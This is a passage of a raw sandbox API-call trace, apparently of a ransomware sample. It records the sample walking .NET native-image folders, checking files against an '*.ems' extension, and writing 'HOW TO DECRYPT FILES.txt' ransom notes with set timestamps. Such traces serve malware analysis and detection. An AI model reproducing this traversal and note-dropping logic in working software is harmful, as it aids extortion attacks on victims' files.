lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\HOW TO DECRYPT FILES.txt" [0123.643] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\how to decrypt files.txt")) returned 0xffffffff [0123.643] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.645] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.646] CloseHandle (hObject=0x90) returned 1 [0123.646] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\", lpString2="System.Windows.Input.Manipulations.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\System.Windows.Input.Manipulations.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\System.Windows.Input.Manipulations.ni.dll" [0123.646] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\System.Windows.Input.Manipulations.ni.dll", pszSpec="*.ems") returned 0 [0123.646] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70274310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70274310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70274310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Input.Manipulations.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.646] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.646] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Input.Manipulations.ni.dll.aux") returned -1 [0123.646] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Input.Manipulations.ni.dll.aux") returned -1 [0123.646] lstrcmpiA (lpString1="", lpString2="System.Windows.Input.Manipulations.ni.dll.aux") returned -1 [0123.646] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\System.Windows.Input.Manipulations.ni.dll") returned="System.Windows.Input.Manipulations.ni.dll" [0123.646] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\" [0123.646] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\") returned="" [0123.646] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\HOW TO DECRYPT FILES.txt" [0123.646] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\how to decrypt files.txt")) returned 0x20 [0123.646] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\", lpString2="System.Windows.Input.Manipulations.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\System.Windows.Input.Manipulations.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\System.Windows.Input.Manipulations.ni.dll.aux" [0123.647] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind74b7bf4b#\\0e9541bf3682b6d1dc58f877d00bf003\\System.Windows.Input.Manipulations.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.647] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70274310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70274310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70274310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Input.Manipulations.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.647] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.647] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x70274310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x70274310, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x70274310, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0e9541bf3682b6d1dc58f877d00bf003", cAlternateFileName="0E9541~1")) returned 0 [0123.647] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.647] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x760ecc30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x760ecc30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x760ecc30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Windows.Forms", cAlternateFileName="SYSTEM~1.FOR")) returned 1 [0123.647] lstrcmpA (lpString1=".", lpString2="System.Windows.Forms") returned -1 [0123.647] lstrcmpA (lpString1="..", lpString2="System.Windows.Forms") returned -1 [0123.647] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.647] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Windows.Forms" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms" [0123.648] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x760ecc30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x760ecc30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x760ecc30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.649] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.649] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x760ecc30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x760ecc30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x760ecc30, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.649] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.649] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.650] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x760ecc30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x76138ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76138ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6e89f5768c30e6d5cc74a6b198f437ce", cAlternateFileName="6E89F5~1")) returned 1 [0123.650] lstrcmpA (lpString1=".", lpString2="6e89f5768c30e6d5cc74a6b198f437ce") returned -1 [0123.650] lstrcmpA (lpString1="..", lpString2="6e89f5768c30e6d5cc74a6b198f437ce") returned -1 [0123.650] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\*.*") returned="*.*" [0123.650] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\", lpString2="6e89f5768c30e6d5cc74a6b198f437ce" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce" [0123.650] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x760ecc30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x76138ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76138ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.650] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.650] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x760ecc30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x76138ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76138ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.650] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.650] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.650] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760083f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x760083f0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7615f050, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0xedde00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Windows.Forms.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.651] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.651] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Forms.ni.dll") returned -1 [0123.651] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Forms.ni.dll") returned -1 [0123.651] lstrcmpiA (lpString1="", lpString2="System.Windows.Forms.ni.dll") returned -1 [0123.651] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\*.*") returned="*.*" [0123.651] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\" [0123.651] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\") returned="" [0123.651] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\HOW TO DECRYPT FILES.txt" [0123.651] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\6e89f5768c30e6d5cc74a6b198f437ce\\how to decrypt files.txt")) returned 0xffffffff [0123.651] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\6e89f5768c30e6d5cc74a6b198f437ce\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.657] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.657] CloseHandle (hObject=0x90) returned 1 [0123.658] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\", lpString2="System.Windows.Forms.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\System.Windows.Forms.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\System.Windows.Forms.ni.dll" [0123.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\System.Windows.Forms.ni.dll", pszSpec="*.ems") returned 0 [0123.658] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76138ef0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x76138ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76138ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Forms.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.658] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.658] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Forms.ni.dll.aux") returned -1 [0123.658] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Forms.ni.dll.aux") returned -1 [0123.658] lstrcmpiA (lpString1="", lpString2="System.Windows.Forms.ni.dll.aux") returned -1 [0123.658] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\System.Windows.Forms.ni.dll") returned="System.Windows.Forms.ni.dll" [0123.658] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\" [0123.658] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\") returned="" [0123.658] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\HOW TO DECRYPT FILES.txt" [0123.658] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\6e89f5768c30e6d5cc74a6b198f437ce\\how to decrypt files.txt")) returned 0x20 [0123.658] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\", lpString2="System.Windows.Forms.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\System.Windows.Forms.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\System.Windows.Forms.ni.dll.aux" [0123.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\6e89f5768c30e6d5cc74a6b198f437ce\\System.Windows.Forms.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.659] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76138ef0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x76138ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76138ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Forms.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.659] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.659] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x760ecc30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x76138ef0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x76138ef0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6e89f5768c30e6d5cc74a6b198f437ce", cAlternateFileName="6E89F5~1")) returned 0 [0123.659] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.659] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6fa8c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb6fa8c70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb6fa8c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Work0493292f#", cAlternateFileName="SYSTEM~3.WOR")) returned 1 [0123.659] lstrcmpA (lpString1=".", lpString2="System.Work0493292f#") returned -1 [0123.659] lstrcmpA (lpString1="..", lpString2="System.Work0493292f#") returned -1 [0123.659] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.659] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Work0493292f#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#" [0123.659] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6fa8c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb6fa8c70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb6fa8c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.661] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.661] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6fa8c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb6fa8c70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb6fa8c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.661] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.661] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.661] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6fa8c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb6fa8c70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb6fa8c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9ea2b7c90b2b94db95abbcac4b9d6fa6", cAlternateFileName="9EA2B7~1")) returned 1 [0123.661] lstrcmpA (lpString1=".", lpString2="9ea2b7c90b2b94db95abbcac4b9d6fa6") returned -1 [0123.661] lstrcmpA (lpString1="..", lpString2="9ea2b7c90b2b94db95abbcac4b9d6fa6") returned -1 [0123.661] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\*.*") returned="*.*" [0123.661] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\", lpString2="9ea2b7c90b2b94db95abbcac4b9d6fa6" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6" [0123.661] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Work0493292f#\\9ea2b7c90b2b94db95abbcac4b9d6fa6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6fa8c70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb6fa8c70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb6fa8c70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 